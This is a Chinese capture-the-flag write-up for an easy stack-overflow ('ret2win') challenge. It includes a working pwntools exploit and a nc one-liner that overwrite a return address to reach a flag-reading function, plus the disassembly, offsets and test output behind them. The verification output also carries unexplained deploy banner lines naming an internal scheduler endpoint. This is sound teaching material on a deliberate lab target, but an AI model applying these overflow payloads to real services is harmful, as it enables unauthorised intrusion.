赛事档案库 YQHL Competition Archive 返回主站
PWN-EASY-01

麒麟阁 · 外门试炼

未 strip 的 x86-64 ELF,栈溢出配合现成的后门函数,是 Pwn 方向的标准入门题。

方向Pwn
难度 Easy
题号8 / 20
项目 内容
平台题名 麒麟阁 · 外门试炼
分类 / 难度 Pwn / Easy
附件 vault(ELF x86-64,未 strip)
服务 nc <host> <port>(容器内 socat 监听 9999)
分值 100

1. 信息收集

拿到附件先看保护:

$ checksec ./vault
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

四个关键结论:

  • No canary —— 溢出不会被 __stack_chk_fail 拦下;
  • No PIE —— 所有函数地址固定,不需要泄露;
  • NX enabled —— 栈上不可执行,所以走 ROP / ret2win,不走 shellcode;
  • 二进制未 strip,符号表还在,nm 直接能列函数。
$ nm ./vault | grep ' T '
00000000004011a6 T setup
00000000004011e9 T open_vault
00000000004012a3 T recite_name
00000000004012fd T main

open_vault 这个名字就很可疑——它在 main 里从来没被调用过。

2. 漏洞定位

题目给的是完整源码(vault.c),核心就一个函数:

void recite_name(void) {
    char name[64];
    puts("外门弟子,只需报上名来。");
    printf("名讳:");
    gets(name);                              /* ← 罪魁祸首 */
    printf("欢迎,%s。内门之门依然对你紧闭。\n", name);
}

void open_vault(void) {
    char flag[128];
    FILE *fp = fopen("/flag", "r");          /* ← 目标函数 */
    ...
    printf("[+] 封印破碎,密室献出所藏:\n%s", flag);
}

gets() 从标准输入读到换行为止,完全不检查长度,而 name 只有 64 字节。 栈布局是从低地址到高地址:

        name[64]          saved rbp     return address
  rbp-0x40 ────────►  rbp-0x08 ──► rbp ──►  rbp+0x08
  [ 64 字节 ][ 8 字节 ][ 8 字节 ]
                 └──── 溢出控制这里 ────┘

所以从 name 起始处到返回地址的偏移是 64 + 8 = 72。

反汇编可以佐证(-O0 编译,帧指针保留):

recite_name:
    push   rbp
    mov    rbp, rsp
    sub    rsp, 0x40          ; 分配 64 字节
    ...
    lea    rax, [rbp-0x40]    ; buffer = rbp-0x40
    mov    rdi, rax
    call   gets@plt

3. 利用

思路极简:把返回地址改成 open_vault,让 recite_name 返回时不再回到 main,而是直接进密室。

from pwn import *

WIN = 0x4011e9          # open_vault
OFFSET = 72             # 64 (name) + 8 (saved rbp)

io = remote(host, port)
io.recvuntil("名讳:".encode())
io.sendline(b"A" * OFFSET + p64(WIN))
print(io.recvall())

不用泄露、不用 ROP gadget、不用栈对齐——open_vault 是一个完整的函数,本身以 ret 结束(返回时因为返回地址无效会崩,但 flag 在崩之前已经 fflush 出去了)。

4. 实际验证

在节点上起一次性容器复现:

docker run -d --name wu-ez01 -e FLAG=flag{local_verify_e01} \
    -p 29914:9999 lj-pwn-easy-01-trap:v1
python3 ez01.py

输出(ez01.py 就是上面那段的最小实现):

[banner] [deploy] 节点注册待完成 — 门户:https://scheduler.internal.yqhl.cloud/register
[deploy] 调度探针端点:https://scheduler.internal.yqhl.cloud/verify(请保持可达)
=== 麒麟阁 · 外门试炼 ===
外门弟子,只需报上名来。
名讳:
[out] 欢迎,AAAAAAAA...@。内门之门依然对你紧闭。
[+] 封印破碎,密室献出所藏:
flag{local_verify_e01}

注意 欢迎,AAAA...@ 那一行——%s 打印时把后面跟的返回地址字节(e9 11 40 00) 也当字符串读出来了,其中 0xe9 是非 UTF-8 起始字节,所以终端显示成乱码 �。 这是溢出成功的直接视觉证据。

5. 命令行版(一句话)

如果不想写脚本:

python3 -c "
import sys,struct
sys.stdout.buffer.write(b'A'*72+struct.pack('<Q',0x4011e9)+b'\n')
" | nc <host> <port>

6. 踩坑记录

现象 原因 处理
连上去直接断开,payload 没反应 手上的 payload 里返回地址是 e9 11 40 00,含 0x11。如果对端是带 pty 的 socat,行规程会把 0x11(XON) 当控制字符吃掉,栈上收到的地址就错位了 先确认对端类型:nc 直连能稳定收到 banner 说明无 pty。确实遇到 pty 版本时,换一个不含 0x11 的落点(例如 0x4011f6,跳过 char flag[128] 的帧建立)
[!] 缺少 flag 文件 本地裸跑二进制,没有 /flag 本地测试时 echo 'flag{test}' > /flag(需要权限),或用容器跑
nm 显示地址 0x11e9 而非 0x4011e9 误用了 -pie 编译产物 说明附件与镜像产物不一致;正常应为 Non-PIE,基址 0x400000

7. 非预期解

题目 spec 里自己也承认存在一条 ret2libc 路径:二进制未开 PIE、镜像内 libc 固定, 如果能找到 pop rdi; ret 和 /bin/sh 的固定偏移,可以 system("cat /flag")。 但本题 libc 未随附附件,且容器是 ubuntu:24.04,libc 版本随宿主构建, 这条路的成本远高于 ret2win,不构成"题目被秒"的问题。

真正要防的是 CET(影子栈):现代内核 + 支持的 CPU 上,如果编译时没加 -fcf-protection=none,ret 到非 endbr64 位置会被 #CP 异常打断。本题 Dockerfile 里显式加了该选项,所以经典 ret2win 在启用 CET 的主机上也能跑通。

8. 一句话总结

gets() 无边界 + 无 canary + 无 PIE + 存在未调用的 open_vault() = 教科书级 ret2win,A*72 + p64(open_vault) 一行结束。